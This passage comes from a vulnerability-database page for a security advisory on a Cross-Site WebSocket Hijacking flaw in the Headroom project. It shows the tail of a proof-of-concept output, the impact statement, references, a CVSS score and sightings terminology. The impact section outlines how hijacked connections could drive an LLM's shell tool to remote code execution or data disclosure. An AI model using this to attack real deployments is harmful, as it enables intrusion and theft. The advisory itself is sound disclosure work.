{\"type\":\"response.failed\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"failed\",\"background\":false,\"completed_at\":null,\"error\":{\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\"},\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":3}\n```\n\n### Impact\nAllowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.",
  "id": "GHSA-h46j-26q3-rggf",
  "modified": "2026-10-02T23:09:15Z",
  "published": "2026-10-02T23:09:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71416"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/pull/1481"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/commit/c632023cc1ec61d15f8f8e86efe3b54d51604a64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/headroomlabs-ai/headroom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-71416 (GCVE-0-2026-71416)

EUVD-2026-366848

FKIE_CVE-2026-71416

GHSA-H46J-26Q3-RGGF

Summary

Details

PoC

Output

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour